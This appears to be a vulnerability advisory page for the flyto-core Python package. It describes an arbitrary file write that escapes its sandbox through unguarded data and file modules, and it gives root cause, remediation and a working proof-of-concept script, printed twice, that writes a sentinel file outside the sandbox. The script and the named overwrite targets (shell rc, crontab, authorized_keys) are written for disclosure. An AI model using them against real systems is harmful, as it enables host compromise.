GHSA-P34X-FMPH-9FJX
Vulnerability from github – Published: 2026-11-20 00:09 – Updated: 2026-11-20 00:09[CRITICAL] Arbitrary file write via unguarded data.* / file.* write modules — incomplete fix of GHSA-2956
- CWE: CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).
- CVSS v3.1:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.3 Critical (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components). - AV:N — reachable via the MCP server / recipe engine (
execute_module). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapesFLYTO_SANDBOX_DIR. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes /~/.bashrc/ cron /authorized_keys→ RCE. - Affected component:
flyto-core(PyPIflyto-core), HEADae2b38e(v2.26.7 line). Modulesdata.csv.write(src/core/modules/atomic/data/csv_write.py),data.json_to_csv(.../data/json_to_csv.py),file.copy(.../file/copy.py),file.move(.../file/move.py) — and the broaderdata.*/file.*/report-writer families that do not call the path guard. - Relationship: Incomplete fix of GHSA-2956-977x-2w3r (Critical arbitrary file write, patched in v2.26.6 by commit
d5f89d7). That fix routed a hand-picked module list (image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate,document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word,browser.paginationcheckpoint) throughvalidate_path_with_env_config(). It did not cover thedata.*andfile.*write families, which still write a client-controlled path with no confinement.
Reachability (hop-by-hop, guards resolved)
- Client invokes a module via the recipe engine / MCP
execute_module(src/core/mcp_handler.py,mcp_server.py) — the same surface as GHSA-2956 / CVE-2026-55786. data.csv.writereadsfile_path = params.get('file_path')anddata(both client-controlled). Its only path check isif '..' in file_path: raise— a denylist that does not block absolute paths.- It calls
os.makedirs(os.path.dirname(file_path), exist_ok=True)thenopen(file_path, 'w')and writesdata. No call tovalidate_path_with_env_config()— soFLYTO_SANDBOX_DIRconfinement is never applied. data.json_to_csv(output_path),file.copy/file.move(shutil.copy2/shutil.movetodestination) have no path check at all.- An absolute path such as
/home/<user>/.bashrc,/app/src/core/modules/.../<mod>.py, or a.flytorecipe file is written verbatim, outside the sandbox.
Guard analysis: the GHSA-2956 enforcement is per-module (e.g. image/download.py:21 imports and calls validate_path_with_env_config). There is no central path enforcement in the runtime — runtime/languages.py's PathTraversalError guards plugin entry-point loading, not module output paths. So a module that omits the per-module call is entirely unconfined.
Root cause
The remediation for GHSA-2956 confined writes by adding a per-module validate_path_with_env_config() call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire data.* and file.* families here — remains an arbitrary-write primitive. data.csv.write's '..'-substring check is a denylist that misses absolute paths.
Impact
Arbitrary file write with attacker-controlled content and path, escaping FLYTO_SANDBOX_DIR. Overwriting a Python module under the install dir, a .flyto recipe, a shell rc, a crontab, or ~/.ssh/authorized_keys yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.
Executable PoC (benign sentinel, local only)
FLYTO_SANDBOX_DIR is set to the intended confinement; the module writes outside it while the GHSA-2956 guard rejects the same path.
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/flyto_sbx"); os.makedirs(SBX, exist_ok=True)
sys.path.insert(0, "<flyto-core>/src")
OUT = "/tmp/flyto_PWNED_OUTSIDE.csv" # absolute, outside the sandbox, no ".."
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
"| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))
Observed output:
[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path
[data.csv.write] wrote=True inside_sandbox=False
[data.json_to_csv] wrote=True inside_sandbox=False
BUG CONFIRMED (arbitrary write outside sandbox)
sample content: pwn / SENTINEL_CSV
Adversarial re-read (what I tried to refute it with)
- Central path guard? No —
runtime/languages.pyPathTraversalErroronly guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed atimage/download.py:21). A module without the call is unconfined. '..'check incsv_write? Denylist; absolute paths contain no..→ bypassed (PoC uses/tmp/...).json_to_csv/file.copy/file.movehave no check at all.required_permissions=['filesystem.write']? A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.- Sandbox default?
FLYTO_SANDBOX_DIRdefaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured. - Result: no concrete blocker. CONFIRMED (incomplete fix).
Remediation
Enforce confinement centrally: route every filesystem write through validate_path_with_env_config() at the engine/module-base layer (e.g. in the write path of BaseModule, or a filesystem.write-capability hook), instead of per-module opt-in. As an immediate patch, add the call to data.csv.write, data.json_to_csv, file.copy, file.move, and audit every module with filesystem.write in required_permissions. Replace the '..' substring denylist with the canonical realpath+startswith(base) check already in validate_path_safe.
Confidence
High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside FLYTO_SANDBOX_DIR, while the GHSA-2956 guard rejects the same path.
Proof-of-Concept source (poc_arbitrary_write.py)
"""PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).
Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it."""
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx")
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "..", "flyto-core", "src"))
sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src")
OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv"
from core.utils import validate_path_with_env_config, PathTraversalError
try:
validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))
for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:
inside = os.path.realpath(out).startswith(os.path.realpath(SBX))
print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}")
ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))
print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED")
print(" sample content:", open(OUT).read().strip())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.7"
},
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77312"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:09:02Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# [CRITICAL] Arbitrary file write via unguarded `data.*` / `file.*` write modules \u2014 incomplete fix of GHSA-2956\n\n- **CWE:** CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).\n- **CVSS v3.1:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.3 Critical** (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).\n - AV:N \u2014 reachable via the MCP server / recipe engine (`execute_module`). AC:L \u2014 deterministic. PR:L \u2014 any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C \u2014 escapes `FLYTO_SANDBOX_DIR`. C/I/A:H \u2014 arbitrary-content write to any absolute path \u2192 overwrite app code / recipes / `~/.bashrc` / cron / `authorized_keys` \u2192 RCE.\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7 line). Modules `data.csv.write` (`src/core/modules/atomic/data/csv_write.py`), `data.json_to_csv` (`.../data/json_to_csv.py`), `file.copy` (`.../file/copy.py`), `file.move` (`.../file/move.py`) \u2014 and the broader `data.*`/`file.*`/report-writer families that do not call the path guard.\n- **Relationship:** **Incomplete fix of GHSA-2956-977x-2w3r** (Critical arbitrary file write, patched in v2.26.6 by commit `d5f89d7`). That fix routed a hand-picked module list (`image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate`, `document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word`, `browser.pagination` checkpoint) through `validate_path_with_env_config()`. It did **not** cover the `data.*` and `file.*` write families, which still write a client-controlled path with no confinement.\n\n## Reachability (hop-by-hop, guards resolved)\n1. Client invokes a module via the recipe engine / MCP `execute_module` (`src/core/mcp_handler.py`, `mcp_server.py`) \u2014 the same surface as GHSA-2956 / CVE-2026-55786.\n2. `data.csv.write` reads `file_path = params.get(\u0027file_path\u0027)` and `data` (both client-controlled). Its only path check is `if \u0027..\u0027 in file_path: raise` \u2014 a denylist that does **not** block absolute paths.\n3. It calls `os.makedirs(os.path.dirname(file_path), exist_ok=True)` then `open(file_path, \u0027w\u0027)` and writes `data`. **No call to `validate_path_with_env_config()`** \u2014 so `FLYTO_SANDBOX_DIR` confinement is never applied.\n4. `data.json_to_csv` (`output_path`), `file.copy` / `file.move` (`shutil.copy2`/`shutil.move` to `destination`) have **no path check at all**.\n5. An absolute path such as `/home/\u003cuser\u003e/.bashrc`, `/app/src/core/modules/.../\u003cmod\u003e.py`, or a `.flyto` recipe file is written verbatim, outside the sandbox.\n\n**Guard analysis:** the GHSA-2956 enforcement is per-module (e.g. `image/download.py:21` imports and calls `validate_path_with_env_config`). There is **no central path enforcement** in the runtime \u2014 `runtime/languages.py`\u0027s `PathTraversalError` guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.\n\n## Root cause\nThe remediation for GHSA-2956 confined writes by adding a per-module `validate_path_with_env_config()` call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list \u2014 the entire `data.*` and `file.*` families here \u2014 remains an arbitrary-write primitive. `data.csv.write`\u0027s `\u0027..\u0027`-substring check is a denylist that misses absolute paths.\n\n## Impact\nArbitrary file write with attacker-controlled content and path, escaping `FLYTO_SANDBOX_DIR`. Overwriting a Python module under the install dir, a `.flyto` recipe, a shell rc, a crontab, or `~/.ssh/authorized_keys` yields code execution / full host compromise \u2014 the same impact GHSA-2956 was rated Critical for.\n\n## Executable PoC (benign sentinel, local only)\n`FLYTO_SANDBOX_DIR` is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.\n\n```python\nimport os, sys, asyncio\nSBX = os.environ.setdefault(\u0027FLYTO_SANDBOX_DIR\u0027, \"/tmp/flyto_sbx\"); os.makedirs(SBX, exist_ok=True)\nsys.path.insert(0, \"\u003cflyto-core\u003e/src\")\nOUT = \"/tmp/flyto_PWNED_OUTSIDE.csv\" # absolute, outside the sandbox, no \"..\"\nfrom core.utils import validate_path_with_env_config, PathTraversalError\ntry:\n validate_path_with_env_config(OUT); print(\"[guard] UNEXPECTED allow\")\nexcept PathTraversalError:\n print(\"[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)\")\nasync def call(W, p): return await W(p, {}).execute()\nfrom core.modules.atomic.data.csv_write import csv_write\nfrom core.modules.atomic.data.json_to_csv import json_to_csv\nasyncio.run(call(csv_write, {\u0027file_path\u0027: OUT, \u0027data\u0027:[{\u0027pwn\u0027:\u0027SENTINEL_CSV\u0027}]}))\nasyncio.run(call(json_to_csv,{\u0027input_data\u0027:[{\u0027pwn\u0027:\u0027SENTINEL_JSON\u0027}], \u0027output_path\u0027: OUT+\u0027.json.csv\u0027}))\nprint(\"wrote outside sandbox:\", os.path.exists(OUT),\n \"| inside sandbox?\", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))\n```\n\nObserved output:\n```\n[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path\n[data.csv.write] wrote=True inside_sandbox=False\n[data.json_to_csv] wrote=True inside_sandbox=False\nBUG CONFIRMED (arbitrary write outside sandbox)\n sample content: pwn / SENTINEL_CSV\n```\n\n## Adversarial re-read (what I tried to refute it with)\n- **Central path guard?** No \u2014 `runtime/languages.py` `PathTraversalError` only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at `image/download.py:21`). A module without the call is unconfined.\n- **`\u0027..\u0027` check in `csv_write`?** Denylist; absolute paths contain no `..` \u2192 bypassed (PoC uses `/tmp/...`). `json_to_csv`/`file.copy`/`file.move` have no check at all.\n- **`required_permissions=[\u0027filesystem.write\u0027]`?** A capability flag, not a path confinement \u2014 the GHSA-2956-guarded modules declare it too and still needed the guard.\n- **Sandbox default?** `FLYTO_SANDBOX_DIR` defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.\n- Result: no concrete blocker. CONFIRMED (incomplete fix).\n\n## Remediation\nEnforce confinement centrally: route every filesystem write through `validate_path_with_env_config()` at the engine/module-base layer (e.g. in the write path of `BaseModule`, or a `filesystem.write`-capability hook), instead of per-module opt-in. As an immediate patch, add the call to `data.csv.write`, `data.json_to_csv`, `file.copy`, `file.move`, and audit every module with `filesystem.write` in `required_permissions`. Replace the `\u0027..\u0027` substring denylist with the canonical `realpath`+`startswith(base)` check already in `validate_path_safe`.\n\n## Confidence\nHigh \u2014 executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside `FLYTO_SANDBOX_DIR`, while the GHSA-2956 guard rejects the same path.\n\n\n## Proof-of-Concept source (`poc_arbitrary_write.py`)\n\n```python\n\"\"\"PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).\nRun: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it.\"\"\"\nimport os, sys, asyncio\nSBX = os.environ.setdefault(\u0027FLYTO_SANDBOX_DIR\u0027, \"/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx\")\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"..\", \"..\", \"..\", \"flyto-core\", \"src\"))\nsys.path.insert(0, \"/home/aoc/CVEs/flyto-core/src\")\nOUT=\"/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv\"; OUT2=\"/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv\"\nfrom core.utils import validate_path_with_env_config, PathTraversalError\ntry:\n validate_path_with_env_config(OUT); print(\"[guard] UNEXPECTED allow\")\nexcept PathTraversalError:\n print(\"[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path\")\nasync def call(W, p): return await W(p, {}).execute()\nfrom core.modules.atomic.data.csv_write import csv_write\nfrom core.modules.atomic.data.json_to_csv import json_to_csv\nr1 = asyncio.run(call(csv_write, {\u0027file_path\u0027: OUT, \u0027data\u0027:[{\u0027pwn\u0027:\u0027SENTINEL_CSV\u0027}]}))\nr2 = asyncio.run(call(json_to_csv, {\u0027input_data\u0027:[{\u0027pwn\u0027:\u0027SENTINEL_JSON\u0027}], \u0027output_path\u0027: OUT2}))\nfor tag,out in [(\u0027data.csv.write\u0027,OUT),(\u0027data.json_to_csv\u0027,OUT2)]:\n inside = os.path.realpath(out).startswith(os.path.realpath(SBX))\n print(f\"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -\u003e {out}\")\nok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))\nprint(\"BUG CONFIRMED (arbitrary write outside sandbox)\" if ok else \"NOT CONFIRMED\")\nprint(\" sample content:\", open(OUT).read().strip())\n\n```",
"id": "GHSA-p34x-fmph-9fjx",
"modified": "2026-11-20T00:09:02Z",
"published": "2026-11-20T00:09:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-p34x-fmph-9fjx"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/bbb6f1cfec22fee1ea0e6ecf1129d7103c85e09f"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.